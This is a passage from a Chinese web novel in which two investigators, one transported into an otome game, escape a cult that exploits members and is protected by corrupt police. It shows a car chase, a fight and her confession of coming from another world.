果然,分享会最终的目的还是敛财。
无数零散的线索如同一块块拼图,最终拼凑出一个完整的真相。
三年前,不知出于什么原因,周逸的母亲王丽文加入了所谓分享会,为了证明自己的诚心,她甚至卖掉了之前住的高档公寓,带着周逸搬到了老久的居民楼,并把大部分钱财都捐赠给了分享会。
启源老师在见到周逸后,很快被这个男孩子吸引了。他告诉王文丽,周逸很有潜质,只要能跟在他身边学习,一定能成为一位优秀的“聆听者”。
王文丽对启源老师的话深信不疑,自然很快答应下来,亲手把自己的儿子推进了万劫不复的深渊。
当时的周逸也只有十四五岁,他一定跟许多人求助过,包括自己的妈妈和警察。只是他没想到,王丽文的思想已经被启源老师控制,根本不相信他的话。而被他当做救命稻草的警察,也与启源老师沆瀣一气。
他无力反抗,只能默默忍受着身体和精神上的摧残。
陈瑞泽也是被生病的母亲带到分享会来的,在这里,他认识了和他有着同样经历的周逸。两个孩子的年纪相差不大,又彼此感同身受,自然而然生出了手足般的情感。
当周逸年满十八岁、有了独立自主的能力,王丽文又突然服用安眠药自杀之后,他才终于有机会离开分享会。这也就能解释,在母亲的葬礼上,他为什么会一滴眼泪都没掉——不是冷血,而是母亲的死对他来说,更像是一种解脱。
然而他虽然逃脱了,小他几岁的陈瑞泽依然在这人间炼狱中苦苦挣扎,于是他生出一个想法:他要带陈瑞泽离开这里。
想到这儿,祝好又突然冒出一个令人胆寒的想法——王丽文的自杀其实没有任何理由和征兆,她真的是自杀的吗?还是说,是周逸对她的所作所为忍无可忍,所以……
不过这一切都只是猜测,毕竟周逸和王丽文都已经不在人世,真相也随着他们的离开被永远埋藏。
可以确定的是,周逸为了筹集逃跑的资金,卖掉了家里的家具、电器,甚至已经为陈瑞泽准备好了新的衣服、鞋子,只要陈瑞泽成功从这栋洋房逃出去,他们就可以一起离开这个鬼地方,结束这一段噩梦般的生活。
他做好了一切准备,开着车在附近左等右等,没等到陈瑞泽,只看到一辆车从小岛驶出。
他开着车跟在后面,躲在暗处窥望着,见到的却是那些戴着虚伪面具的人将陈瑞泽的尸体从车里抬出来,埋在了那片荒地里。
那一刻,他的内心一定充斥着绝望和恐惧。
可他也清楚的知道,以他的力量,根本没办法跟分享会抗衡,更别说分享会还有西临市警方和林洋这样的靠山。
所以他在网上找到了孙彪,雇他去挖出了陈瑞泽的尸体,并“请”温珣去做了尸检。他这么做一是想搜集证据、确定陈瑞泽的死因,二是希望把这件事的影响扩大到其他城市,让其他城市的警察参与进来。
当时他给秦聿风打去电话,应该是真的有重要的证据要交给他,只是分享会的人比秦聿风先一步找到了他。
那份证据,是不是又回到了启源老师的手上?
周逸临死时,指着自己脸上的那个动作,又代表了什么呢?
耳机里不时传来程述翻找东西的声响,就在祝好愣神时,突兀地响起一个男声,伴随着急促的敲门声:“启源老师,您在吗?”
祝好回过神来,动作一滞,不自觉咽了下口水。
怎么会有人找启源老师?万一他发现启源老师晕倒了,程述要怎么解释?
那头的程述没有吭声,门外的人等待片刻,没听到动静,又接着道:“有人说有急事找您,我让他在大厅等着了。”
耳机里传来一阵短促的“呲啦”声,像是窃听器被塞进了房间的某个地方,紧接着是“咔哒”的开门声。
门外的人小心翼翼地问道:“启源老师呢?”
程述从容不迫地回答:“启源老师刚才为了给我解惑,太过疲惫,已经睡着了……是谁要找他?”
门外的人犹豫片刻,说道:“好像是一位警察同志。”
警察?
祝好赶紧起身,从二楼的栏杆缝隙往下看去,刚好能看到大厅。
除了几个还留在大厅里祈祷的人,大厅
里分享会的成员已经散得差不多了。
一个身材精壮结实的男人靠在墙边,从二楼的角度看不到他的脸,但他抬手点烟的瞬间,祝好却注意到他露在外面的手臂有一道蜈蚣似的蜿蜒的伤疤。
是林洋!
因为台风的缘故,屋外狂风暴雨,连天气预报都提醒市民尽量不要出门,会有什么样的急事,让他在这个时候来找启源老师?
程述显然也怔了一下,似乎对来人的身份有些意外,没等他说话,门外的人突然主动开口:“那我先带他去休息室等一会儿……休息室在二楼,你们可以从后门离开,顺着这条路左拐出去就是。”
后面那几句话,他把声音压得很低,似乎是刻意对程述说的。
程述没有思考的时间,迅速“嗯”了一声。这一声“嗯”声调扬高,明显是说给祝好听的。
休息室在二楼,如果林洋上来的话,必定会和祝好撞上。
祝好心念一转,转身问庞姐:“庞姐,二楼有卫生间吗?”
庞姐点点头,抬手指了一个方向:“往那边走就是。”
祝好道了声谢,拔腿朝她指的方向走,转身拐进了卫生间,但没把门锁死,而是留出一道一指宽的缝隙,屏息听着外面的动静。
一楼传来一个不耐烦的声音:“特么的,都说了是急事,还去什么休息室?”
“林警官,您还是去稍等片刻,启源老师真的不方便。”说话的正是刚刚敲门的那个男人。
“不去,他在哪儿?我现在就找他!”
“林警官、林警官……”
楼下的骂声和脚步声渐远、渐小,同时耳机里响起“砰砰砰”的砸门声,看来林洋已经到了研习室门口,好在这个时候程述应该已经离开了。
屋里无人回应,估计是启源老师一时半会儿没醒来,祝好不合时宜地感慨了一句:这药效还真是挺猛的,幸亏程述聪明,没喝下那杯水。
门外的林洋耐心到了极限,直接推门进了房间里,听起来像是把启源老师直接从床上拎了起来,声音里带着压抑的怒意:“赶紧起来,你特么还的睡睡睡个屁啊!”
祝好心一凛:难道她跟程述在调查的事被林洋察觉了吗?从他那副怒气冲冲的样子上看,一定不是什么好事,他们必须赶紧离开。
来不及多想,她从卫生间出来,匆匆往楼下大厅走去。
刚才在耳机里,敲门的男人跟程述说过,从研习室出来之后直走再左拐,就能达到洋楼的后门。
祝好按照他说的路线一路小跑,果然顺利找到了后门,程述已经把车停在那儿等着她了。
她迅速开门上车,系好了安全带,才堪堪松了口气,转向程述:“老大,你没事吧?”
程述把鼻梁上的黑框眼镜摘下来随意往后座一扔,笑道:“没事,虽然牺牲了点色相,但贞洁还在。”
祝好也如释重负地笑出来,看来这次的行动还算顺利。
程述没有马上开车,而是示意祝好继续关注耳机里的动静——毕竟窃听器是蓝牙连接,一旦超出范围,就没办法知晓房间里的情况了。
启源老师似乎是被林洋摇醒了,但神智还不太清醒,嘴里嘟嘟囔囔说着什么。
“啪!”一个响亮的耳刮子打在他脸上,耳机里安静了几秒钟,传来启源老师愤怒的声音:“你特么有病吧?打我干什么?”
林洋气极反笑:“我说我打你干什么?都这种时候了,你居然还能睡得着?”
启源老师缓过神,也发觉有些不对劲:“对啊,我怎么突然睡着了?头好痛……到底怎么回事?”
林洋懒得跟他废话,简短地问道:“今天是不是有一男一女来了你这儿,他们人呢?”
“一男一女?”启源老师想了想:“是有这么两个人……他们怎么了?”
林洋怒道:“别人都特么查到你地盘上了,你说怎么了?”
第110章
林洋这趟果然是冲着他们来的,不过也不奇怪,毕竟这几天他们跑了那么多个地方,去拜访了刘沛玲,又去了周逸家附近打听消息,西临市警方也应该有所察觉了。
程述把鼻梁上的黑框眼镜摘下来随意往后座一扔,踩下油门。车子冲破雨幕,驶离了洋房,朝着岛外开去。
耳机里传来一阵电流声,随着距离不断拉远,窃听器的信号变得不太稳定,声音也断断续续的,很快安静了下来。
盘山公路九曲十八弯,路本就难走,加上暴雨漫天匝地瓢泼而下,挡风玻璃如同覆上一层水帘,连路灯的灯光都黯淡几分,前方的能见度很低。
祝好生怕打扰程述开车,让他分了心,一直没敢跟他说话,低头检查着微型摄像头拍到的东西。
她本想发一份到秦聿风那里备份保存下来,可受到暴风雨影响,手机一直没信号,尝试了好几次也没发出去,只好先作罢,把内存卡塞进了之前准备的防水包里。
直到车开到了林间的公路,视野稍微开阔了一些,她才问出了困扰她一路的问题:“老大,刚才在研习室敲门的那个男人你认识吗?”
刚才那个人虽然没有直接向他们伸出援手,却告诉了程述去往后门的路线,似乎是知道他们身处危险之中,催促他们赶紧离开。
程述摇摇头:“不认识,不过他也穿着白色的长袍,应该是分享会的成员。”
“他长什么样?”
程述想了想:“就普通人的样子,年纪应该跟我差不多。”
过了会儿又补充:“哦,对了,他脸上有个胎记。”
祝好在记忆里搜寻片刻,怎么也想不起来他们曾在哪儿认识过脸上有胎记的男人,更是好奇了:“他为什么要帮我们?”
程述耸了耸肩:“谁知道呢。”
祝好又问:“你在那间研习室里找到什么证据了吗?”
出卖了色相,还差点喝下迷药,如果没点收获岂不是亏大了。
程述“嗯”了一声:“我在研习室里发现了一间暗室,里面放着会员名单和缴费记录,我都拍下来了,还有,我找到了这个。”
祝好接过他从口袋里掏出来的一个证物袋,发现里面是一根手指大小的木头。
她不明所以:“这是什么?”
程述:“我没猜错的话,这应该就是用来制作‘圣水’的东西,叫作‘死藤’,是亚马孙丛林里的一种野生植物。这里面含有致幻作用的二甲基色胺,服用之后会让人产生幻觉。”
祝好恍然:难怪刘沛玲和她丈夫在喝下那杯所谓“圣水”之后,会出现那样的反应。看来启源老师能凭几句花言巧语蛊惑人心,死藤水在其中起到了不小的作用。
死藤属于du品的范畴,加上今晚拍到的证据,已经足够局长上报给上级派人进行调查了,顺着分享会这条线索查下去,不仅能查明陈瑞泽和周逸的死因,洗清秦聿风的嫌疑,还能把为虎作伥、助纣为虐的西临市警方也一锅端了。
也就是说,他们此行的任务终于可以告一段落。
连日紧绷的神经得到放松,祝好靠在座椅上长舒了一口气:“那我们今晚怎么办?”
既然林洋已经知道他们去了分享会,那一定也去酒店找过他们,之前
住的地方肯定是不能呆了。
如果不是因为台风,他们本可以直接返回淮江市,但眼下这恶劣的天气实在不适宜连夜赶路。
程述没怎么思考就回答:“实在不行,找个能挡雨的地方,在车里随便应付一晚上吧,等雨小了就启程回去。”
奔波了好几天,祝好此刻很想洗个热水澡,好好睡上一觉——毕竟从温珣被绑架、到和程述一起来到西临市调查,这段剧情可比之前的几起案子都要复杂得多,也耗费了许多时间和精力。
不过只要把证据带回淮江市、交给局长,这次任务应该就算完成了,还是忍一个晚上,洗热水澡的事留到回家后再说吧。
希望到时系统能良心发现,多给点通关奖励,别再那么小气吧啦的。
祝好伸了个懒腰,刚想阖眼歇一会儿,余光却看到后视镜里厚重的雨幕中出现了两点亮光。
起初她没太在意——既然是路,肯定会有其他车辆通行。可她很快就发觉不对劲,不过几秒钟的时间,那两个亮光越来越大、越来越清晰,在幽深的雨夜里犹如野兽的双眼,死死盯着前方的猎物。
祝好心一凛,从座椅上弹起来:“老大,后面那辆车是不是在跟着我们?”
程述显然也就注意到了这一点,他飞快地瞥了后视镜一眼,问道:“安全带系好了吗?”
祝好紧张得心跳加速,喉头微微吞咽了一下,点头“嗯”了一声,同时下意识抬手握紧了车门上的扶手。
下一刻,随着程述迅速转动方向盘的动作,车轮胶皮与地面摩擦掀起了一阵泥浪,车子一个神龙摆尾,钻进了林中的一条小路。
这个转弯转得太快、太急,哪怕系好了安全带,祝好也感觉自己的五脏六腑都要位移了,还没缓过神来,车子就如同离弦的箭射向前方。
然而身后那辆车似乎没打算罢休,很快也调转了方向,没过多久,身后发动机的轰鸣声响起,两盏车灯又重新出现在后视镜里。
他们这辆从租车行租来的车只是普通的suv,在城市道路开着没什么问题,但在荒郊野外泥泞的路面上行驶明显有些吃力,加上雨天路滑,车身都有些不受控制了。
而身后那辆车明显是经过特殊改装的,速度非常快,两者的性能差距就摆在那儿,就算程述已经把油门踩到底,距离还是不断被拉近。
照这样的形势,被追上是迟早的事儿。
程述扫了一眼周围的环境,林间道路虽然相对盘山公路来说相对平坦,但本质还是绕山而过,只不过盘山公路旁边是万丈悬崖,而林间公路一侧是高耸的山岩,一侧则是树木林立的陡坡。
他迅速而笃定地叮嘱祝好:“待会儿车一停你就往坡下面跑,找个地方藏起来。”
祝好知道他是想拖延时间,让自己带着证据先走。这条路没有路灯,坡下又有许多树丛,的确方便躲藏,至少比留在车上安全。
她还想说些什么,但程述没给她机会,又用不容置疑的语气补充了一句:“藏好,我会去找你。”
留给祝好思考的时间不多,她一时也想不到更好的办法,重重点了点头,把那个装着内存卡和死藤的防水包塞进外套内侧的口袋里。
身后的车已经越来越近,后视镜里灯光大亮,似乎下一秒钟,两辆车就要撞在一起了。
千钧一发之时,程述突然一脚把刹车踩死,利落地换了档,握着方向盘迅速往左打了几圈。
车头调转了方向,往前蹿出几十米后,他又一脚刹车把车停在路边,摁开了祝好的安全带,简短有力地说了声“走”。
来不及多想,祝好打开车门就往下跳。
四下雨幕接天,豆大的雨珠子如子弹劈头盖脸而来,浇得人眼睛都快要睁不开了。
顾不得抹掉脸上的雨水,祝好两只手扶着陡坡上的树干保持平衡,脚步一刻也不敢停下,还没跑出多远,就听到巨大的摩擦声和撞击声穿破风雨声自身后而来,硬生生撞进耳膜里。
顷刻间,祝好头皮发麻,下意识顿住了脚步回身张望,但因为地势的落差,根本看不到路面上发生了什么。
她躲在一棵树后面大口喘气,全身都在微微颤抖。
身后并没有人追上来,看来程述已经成功拖住了他们,自己现在暂时是安全的。
可刚才那辆车明显来者不善,车上肯定不止有一个人,就算程述再能打,以一敌多也撑不了多久。
犹豫再三,祝好觉得自己还是没法抛下他一个人先走。她自认为不是什么圣母,但对陌生人尚且做不到见死不救,更何况是朝夕相处的程述?
证据可以再找,但如果程述真的出了什么事,她一定没办法原谅自己。
想到这里,祝好心下有了决定。
她把防水袋从口袋里掏出来,绑紧拉绳,塞进了几块山石的缝隙中,又把鸭舌帽摘下来,挂在附近一棵树的树枝上作为标记,然后转身扶着树干往坡上跑去。
路上有许多被风刮断的树枝,祝好低头摸寻,捡了根近一米多长的断枝,估摸着有她手腕那么粗,当作武器应该绰绰有余。即将到达马路上时,她放缓脚步,压低身子,边观察形势、边悄悄靠近。
路上两辆车一横一竖停着,横着的那辆是他们租来的suv,后备箱大开,屁股已经陷进去半边,正往外冒着滚滚黑烟,竖着的那辆也没好到哪儿去,保险杠和车灯碎了一地。看得出来,刚才的撞击十分猛烈。
跟祝好推测的一样,后车搭载的不止一人,其中有两个已经被程述打趴了,正躺在大雨中挣扎呻吟。
路中间还有两个身影缠斗在一起,透过雨中车灯氤氲的光,能看出其中一个正是程述,另一个男人身强力壮,动作迅猛,就算祝好不懂格斗,也能看出来他的一招一式十分专业,十有八九就是秦聿风提到过的那个雇佣兵。
男人手中的匕首闪着雪亮的光,程述赤手空拳、以一打三已经消耗了不少体力,此时明显处于下风,他闪身躲过刺向自己的一刀,抬手架住男人的胳膊,屈肘狠狠撞向对方的肩窝。
男人吃了一肘,却强忍疼痛,仍旧死死把匕首握在手里,稳住身形之后,反手就朝着程述面门横挥而去。
程述迅速后仰,才堪堪躲过这一刀,还来不及还击,就被对方当胸一脚踹得往后退了几步。
男人揪住他的领子,“砰”一声把他压在车门上,匕首贴住他的脖颈,咬牙切齿地问:“你把东西藏哪儿了?是不是被那个女人带走了?”
程述被雨水呛得咳了几声,扯了扯嘴角,无所谓地笑道:“兄弟,别贴那么近啊,你不会跟你们启源老师有一样的爱好吧?”
男人怒不可遏:“别特么废话,你以为你不说我就找不到她了?下那么大雨,她能躲到哪儿去?我告诉你,等我把你解决了……”
他注意力都集中在程述身上,全然没察觉到举着棍子靠近的祝好,话还没说完,后脑就猝不及防挨了一棍重击,闷哼了一声,身子一软,斜斜往一旁倒去,手中的匕首也应声落地。
反派果然死于话多。
祝好赶紧上前,一脚将那把匕首踢远了,才后知后觉感到双膝有些发软。还没等她呼出一口气,突然听到一声裹挟着风声的枪响在耳边炸开。
下一秒,程述纵身扑出,将她裹在怀里,两人像沙袋一般滚下了陡坡。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&
110-120
第111章
祝好大学跟同学去游乐场时,见过一个叫作“旋转风火轮”的项目。那是一个风车形状的游乐设施,人坐在叶片上的旋转座椅里,叶片转动的同时,座椅也在转,让人体验到“天旋地转”的感觉。
当时祝好很感兴趣,奈何排队的人实在太多,离闭园的时间也没多久了,只得作罢。
此时此刻,被程述抱着从陡坡上一路翻滚跌宕而下的祝好,体验到了当初没体验过的“天旋地转”。
持续的翻腾、坠落仿佛把人扔进滚筒洗衣机里转了好几圈,耳朵里只剩下身体碾着叶片和树枝的劈裂声。
不知转了多少圈后,他们“啪”一下摔在一块湿软的地面上,剧烈的眩晕感让祝好胃里如同翻江倒海,与乱石撞击产生的疼痛感也姗姗来迟,激得她太阳穴直突突。
过了好一会儿,她缓缓睁开眼睛,模糊的视线逐渐聚焦,第一眼看到的是从漆黑的夜空和坠落的雨丝。
听觉也渐渐恢复,一声低哼伴着哗啦啦的流水声扫过耳畔,她脑子里一嗡,忍着四肢百骸的疼痛竭力坐起身,看向侧躺在一旁的程述,心猛地提了起来,下意识叫出口:“老大!”
程述的喘息声有些重,还带着不易察觉的颤抖,半晌才闷闷地应了句:“嗯……”
他们摔落的地方距离刚才的路面至少有三四十米高度,抬头望去,入眼是层层叠叠的植被和乱石遍布的陡坡,再往上就是一片树林。
从那声枪响到摔下陡坡,不过也就短短几十秒钟时间。
祝好的脑子里一片混乱,这时才堪堪反应过来,陡坡上到处是裸露的乱石,一路滚落时,是程述始终保持着双手把她护在怀里的姿势,才给了她最大程度的保护和缓冲。
她想查看程述的伤势,又不知要从哪里下手,仓促间有些不知所措,只好小心翼翼地问:“老大,你没事吧?”
程述缓了半天,一只手扶着自己左侧的肋部,一条胳膊吃力地撑在地面,想要支起身子,祝
好赶紧扶住他。
他深吸了几口气,才用气声说:“没事。”
祝好问:“那你还能站起来吗?”
程述说:“嗯,但是需要你搭把手,我可能骨折了。”
语气稀松平常,如果不是他说话比往常要费劲儿些,祝好甚至怀疑他是在开玩笑。
她又紧张起来:“骨折?哪里骨折了?”
他缓缓呼出一口气:“肋骨,不过摸起来没有错位,应该不算严重。”
祝好怎么也没办法把“骨折”跟“不算严重”这两个词联系在一块儿,伤筋动骨一百天,在她的认知里,骨折再怎么也要在医院里躺上十天半个月。
幸运的是他们坠落的地方是溪涧旁的一块湿地,覆盖着厚厚的杂草和落叶,形成了一个缓冲。
或许是雨下得太大,又或许是刚才那些人觉得他们摔下来就算不死也得是重伤,暂时没有发现有人往下搜寻的动静。
不过现在没有,不代表就一直不会有。
当务之急还是先找个既能躲雨、又能藏身的地方歇着。
祝好起身往前走了几十米,发现岩壁上有一块突出的岩石,下方正好形成一个可以挡雨的区域,周围还有些树丛可以作掩护。
她回到程述身边,把他的胳膊架在肩膀上,一步一顿地走到那块岩石下方,扶他靠着岩壁坐下。
口袋里的手机屏幕在磕碰中早就已经碎得不成样了,好在程述口袋里还有个袖珍手电筒,祝好试着摁开开关,还能用。
她打着手电,小心地擦去程述脸上的草屑和落叶,快速检查了他的伤势。
程述裸露在衣服外面的部位,包括脸、脖子和手都有不少擦伤,都是在打斗和滚落的过程中形成的,至于身上还有多少处伤,恐怕连他自己都数不过来。
他的脸色比往常要苍白许多,嘴唇也有些泛紫,遮挡着双眼的睫毛微微颤抖,摁住肋部的手背青筋暴起,似乎正在强忍着疼痛。
但比疼痛更要命的,是深入骨髓的寒冷。
此时已是深秋,山里夜间温度本来就低,加上大雨把他们全身浇了个透,呼出的气瞬间就成了一片白雾,冰冻buff简直叠满。
这种时候,淌水的衣物没有任何保暖的功能,反倒成了累赘。
祝好小心翼翼地帮程述脱下身上被雨水浸透的卫衣和外套,才发现他肋部一片青紫,身上还有许多淤伤。
顾不上什么尴尬不尴尬的,她又脱掉自己的外套,避开他身上的伤口,轻轻搂住了他,试图用自己的体温给他保暖。
但与户外的寒冷相比,她微弱的体温还是捉襟见肘,过了好一会儿,她自己都不住地哆嗦,试探性碰了碰了程述的手,仍是又僵又冷。
再这样下去,用不着分享会的人动手,他们也很快就会因为失温而晕厥甚至是死亡。
程述似乎感受到她的担忧,垂眼看着她,艰难地勾起唇角:“没事,我还撑得住。”
语气里没有了往日的笃定和自信,很显然他也一时想不出如何才能在没有手机、没有增援、没有保暖措施的情况下,安然度过这个寒冷的雨夜。
祝好轻轻拍了拍他的手背:“你要不要睡会儿?”
程述似乎是想笑,笑到一半又“嘶”地抽了口气:“你不怕我睡过去就醒不过来了?”
顿了会儿,又沉声补充了句:“如果我实在撑不住了,等雨停了你就自己先走,将来逢年过节记得给我上柱香就行。”
祝好实在没心思跟他开玩笑,斟酌片刻,继续道:“那待会儿如果发生什么不可思议的事,你就当自己是在做梦或者出现幻觉了,行吗?”
程述沉默了一会儿,抬起冰冷的手碰了碰她的额头:“你脑子没撞坏吧?”
祝好没吭声,她点开控制面板,打开系统商场,用积分兑换了一件打底的衬衫、一件防水厚外套和一条牛仔裤。
下一秒,这些选好的衣服凭空出现在她手边。
“……”眼前的一幕让程述那时刻条分缕析的大脑宕了机,他飞快皱了皱眉,脸上有按捺不住的惊诧,下意识想要坐直,却又被肋部的疼痛生生摁在了原地。
“这是……”
“这是干净的、温暖的新衣服。”祝好把衣服放在他腿上:“我脑子没撞坏,但你能不能当作是你脑子撞坏了?”
程述骨折的部位在左边大概第三、第四肋的位置,不知是打斗时被踹的那一脚还是从陡坡上滚下来时撞到石头造成的。
他连把胳膊抬起来都十分费劲,但还是嘴硬:“我自己穿就行。”
祝好没理会他,三下五除二替他穿上了衬衫和厚外套,正要去解他的皮带,就被他冰冷的手攥住了手腕,不容置疑地再次强调:“这个我自己来。”
祝好抬眼看他:“你能行吗?”
程述干笑一声:“男人怎么能说不行。”
行吧,那就让他自己行。
祝好关掉手电筒,装作没看到他泛红的耳廓,不动声色地转过身去。
她点开系统商城,也给自己选了一套保暖的内搭和外套。
等程述自己艰难地换好了裤子,她才转身嘱咐他:“我要换衣服,你把眼睛闭上。”
程述“嗯”了一声,配合地紧挨着双眼,把头转到了另一边。
虽然他平时总是贱兮兮的,不过祝好对他的品行还是十分放心,趁着浓重的夜色,她迅速脱掉湿衣服,换上了厚外套。
剩下的积分不多了,祝好思前想后、精打细算,换了一张毯子、两块巧克力和一杯热咖啡。
她挨着程述坐下,把毯子披在两人身上,喂他喝了几口热咖啡,又把巧克力的包装撕开递到他手里。
换上了干燥温暖的衣服、补充过体力之后,程述的脸色好了不少,嘴唇逐渐红润起来。
雨幕铺天盖地,如灰色的纱幔笼罩在天地间,岩石下这一方狭小的空间仿佛与世隔绝。
两个人彼此默默无言,罕见地没有拌嘴、没有谈论案子,只是出神地嚼着巧克力、望着雨中的天地万物发呆。
沉寂的间隙被外面的风雨声填满,最后倒是祝好沉不住气了,率先开口打破沉默:“老大,你没有什么想问的吗?”
程述沉吟片刻,反问道:“你想告诉我吗?”
祝好明白他的意思:刚才那一幕已经超出了正常人的认知范畴,饶是他再怎么“对别人的事没兴趣”,也不可能不感到好奇。
可强烈的边界感让他哪怕再好奇,还是会理智地征求她的意见——你想告诉我吗?你想说的话,我安静地当个听众;不想说的话,我也不会追问。
祝好垂下眼帘,过了许久,说道:“其实我爸爸不是警察,他只是一个小保安。”
——一个普通得不能再普通的保安。
没头没尾的开场白让程述忍不住转头看向她,眼神里多了几分探寻的意味。
祝好扯了扯嘴角:“小时候,别的同学都希望自己爸爸来接他们放学,我却最不希望爸爸出现在学校里。因为别人的爸爸不仅高大帅气,工作也体面,不像我爸爸,腿上有残疾,走路一瘸一拐的,我觉得他特给我丢人。”
虽然只是个小保安,但祝君安却很沉迷那些悬疑犯罪类的电影、电视剧,还总喜欢点评几句,说这些警察不应该这么做,他们应该从哪里开始调查会更好。
每当他这么说的时候,祝好总是对他嗤之以鼻,有一回忍不住怼他:“你那么行,怎么不去当警察?”
他愣了一下,却什么也没说,只是默默换了个台,而妈妈却罕见地发了很大的火,狠狠往祝好的屁股上拍了两巴掌,让她向祝君安道歉。
祝好疼得哇哇大哭,却固执地认为自己没错,倒是祝君安心疼地搂着她,埋怨妈妈:“算了,孩子又不懂事,你跟她计较什么。”
祝好的童年还算美好,跟爸爸妈妈在一起的日子平淡却很温馨,直到十二岁那年,妈妈遭遇了车祸,甚至没来得及留下一句话就撒手人寰。
之后很长一段时间里,祝君安都过得很颓废。
他每天照常上班、下班,给祝好准备好一日三餐,只是脸上再也没有了笑容。
有一天,他罕见地没有去路口等祝好放学,祝好回到家时,看到他一手抱着妈妈的照片,一手抱着酒瓶子,像个孩子似的在沙发上哭得泣不成声。
那天借着酒劲,他絮絮叨叨地跟祝好说了很多,祝好才第一次知道他腿上的伤是怎么来的。
第112章
祝好的爸爸妈妈的相遇始于一场剧情老套、没有任何新意的英雄救美。
当时祝君安刚以前三名的成绩被警校录取,去学校报道的途中却遇到了一个遭遇飞车抢劫的女孩。
他没有犹豫,挺身而出,飞身追了出去,替她追回了那笔钱,却在那场跟歹徒的追逐战中被车撞断了腿,落下了终生残疾,与他的“警察梦”失之交臂,不过也因此跟女孩相识相恋,步入婚姻殿堂。
那个女孩就是祝好的妈妈。
妈妈的死对祝好来说也是一个巨大的打击,但日子还得照常过,所以不能两个人都一起颓废。
颓废的份额已经被祝君安给占去了,祝好便充当起了那个“照常过日子”的角色,有时候甚至比祝君安还要像一个“家长”。
比如那个晚上,祝君安坐在沙发上嚎啕大哭,祝好就拍着他的背哄他,说哭吧,哭出来就好了。
第二天酒醒之后,祝君安没有再提起过这件事,还是和往常一样,上班、下班,给祝好准备一日三餐,在路口接她放学。
为了分散祝君安的注意力,让他不再沉溺于失去妻子的悲痛,祝好买了各种类型的犯罪电影,每天拉着祝君安看一两部,渐渐的也开始为了其中的某个情节跟他争论不止。
很久之后的某一天,她问祝君安:“爸,当时你后悔过替妈妈抢回了那些钱吗?”
如果没有当时的见义勇为,他就能顺利去警校报道,现在应该已经是个挺了不起的警察了吧。
所以在游戏里,祝好向系统提出想给爸爸一个“警察”的身份,哪怕是虚拟的也好——她没办法将去世的妈妈带回来,但至少能以这样的方式实现他的另一个愿望。
那时候的祝君安已经对妻子的死释然不少,也不再避讳谈论起这个话题。
他说:“不后悔,一点也不后悔。上警校、当警察,甚至是这条腿,跟你妈妈相比不值一提。”
笑了笑,又说:“如果再给我一次机会,我还是会追上去拿回那些钱,不管被抢的是你妈妈还是一个老婆婆。”
然而这不经意的一句话,最后竟然一语成谶。几年之后的某个晚上,祝君安在保安亭值班时真的碰到了抢劫、被抢的也真的是个老婆婆。
祝君安没多想,拿着保安室配发的警棍一瘸一拐就追了出去,凭借对地形的熟悉将劫匪逼到了一条死胡同。劫匪无路可逃,掏出匕首捅了他几下,正好刺伤了他的大动脉。
虽然路过的人及时拨打了120,但祝君安最终还是没有抢救回来。
跟那天晚上喝醉的祝君安一样,祝好把憋在心里许久、从没跟别人提起过的事的事一股脑说了出来,不按顺序、没有开头结尾,更没有什么逻辑,想到什么就说什么。
程述不插话、也不发问,只是安静且认真地听她说,哪怕她中途停下来很久也不催促。
等她讲完后,他才开口:“我先声明,我不会用什么矫情的真心话跟你交换秘密的。”
“用不着。”祝好朝他翻了个白眼:“你之前不是问我,为什么对破案那么执着吗?”
除了破案是剧情任务之一,其实更多是受到了祝君安的影响,对破案这件事无比执着。
也正是因为这个契机,她才莫名被卷入了这个游戏世界里。
铺垫了那么久,祝好又沉默了一会儿,终于说到了重点:“如果我说,我来自另一个世界,你会相信吗?”
程述笑:“什么样的世界?能徒手变出新衣服、热咖啡还有巧克力的魔法世界吗?”
祝好哑然,这什么脑回路啊。
她斟酌了一下措辞:“其实现在这个世界对我来说,是一个游戏,一个……乙女游戏。”
程述皱了皱眉,问出了当初祝好问系统的那个问题:“乙女游戏是什么玩意儿?”
祝好把自己穿越的始末以及游戏任务大致跟他说了一遍,又补充道:“想要回到我原本的世界,我就必须过完这些剧情,并且跟其中一个可攻略对象的好感度达到100。”
说完偷偷抬眼看向程述,发现他眉头微蹙,似乎正在很努力消化这些内容。
过了好一会儿,他才开口问:“那你要攻略的对象有谁?”
祝好没想到他会问这个,愣了一下,掰着手指数道:“秦警官,温主任,李砚川。”
不知其中哪一位戳中了程述的笑点,他忽然绷不住笑了一下,刚笑出声就被肋骨的断处传来的剧痛打断,嘶地倒吸了一口凉气。
祝好不满地斜了他一眼:“活该!你再笑就把巧克力吐出来还给我!”
他这回学聪明了,没有笑出声,只是扯了扯嘴角:“只有他们三个人吗?”
声音懒洋洋的,听不出是玩笑还是正经话。
祝好反问:“不然呢?”
三个人要一碗水端平对她来说已经很不容易了,再多一个她都吃不消。
“那你跟他们的那什么……好感度,都有多少了?”
“不多不少,反正基本没过半。”
说到这个,祝好就头疼,明明都完成了四五个剧情任务了,跟可攻略对象的好感度却还在原地踏步。
程述说:“那还不简单,你霸王硬上……”
祝好抬手捂住他的嘴,堵住了他未说完的话:“诶,咱可是个正经游戏,不是什么小黄油,收起你那龌龊的想法。”
他适时闭了嘴,过会儿才低声说了句:“我开玩笑的。”
他对这一切接受得那么坦然,倒让祝好有些讶异:“老大,你真的相信我说的这些吗?”
他低着头把巧克力的包装纸揉成一团又展开,顿了顿,说:“虽然我从来没想过自己身处的世界可能只是一个游戏,不过除了相信你,好像也没办法解释这个了。”
祝好如释重负地长舒一口气,把压在心底的秘密说出来之后,心情轻松不少,甚至差点忘了现在身处的环境并不是那么安全。
她问:“这件事你可以帮我保密吗?”
程述“嗯”了一声,眼神在她脸上匆匆一掠,又飞快挪开:“是不是只要过完剧情任务,并且成功攻略了其中一个人,你就会离开?”
祝好撇了撇嘴,实话实说:“不知道。”
不知道系统是不是真的能把bug修复好,不知道自己是不是能回到现实世界 ,更不知道自己是不是真的想离开。
程述只淡淡地“哦”了一声,索然无味地抽回目光,没再说话。祝好再转头看向他时,发现他脸上笑容渐黯,眼帘低垂,好像有些闷闷不乐。
“老大,你……”祝好刚要开口问,余光突然瞥见一道手电筒的光束一扫而过,不由得心头一跳:雨还没停呢,这么快就有人追下来了吗?
她下意识抓住了程述的胳膊:“老大,好像有人。”
程述强忍剧痛,扶着肋骨处坐直了一些,挡在她面前,压低声音叮嘱:“嘘,别出声。”
又迅速补充了一句:“如果被发现了,你就先跑,不用管我。”
那一道光束在山间树丛和乱石中穿梭,一个刻意压低的声音伴着雨声从不远处传来:“程先生,祝小姐,你们在这儿吗?”
声音有些熟悉,似乎在哪儿听过。
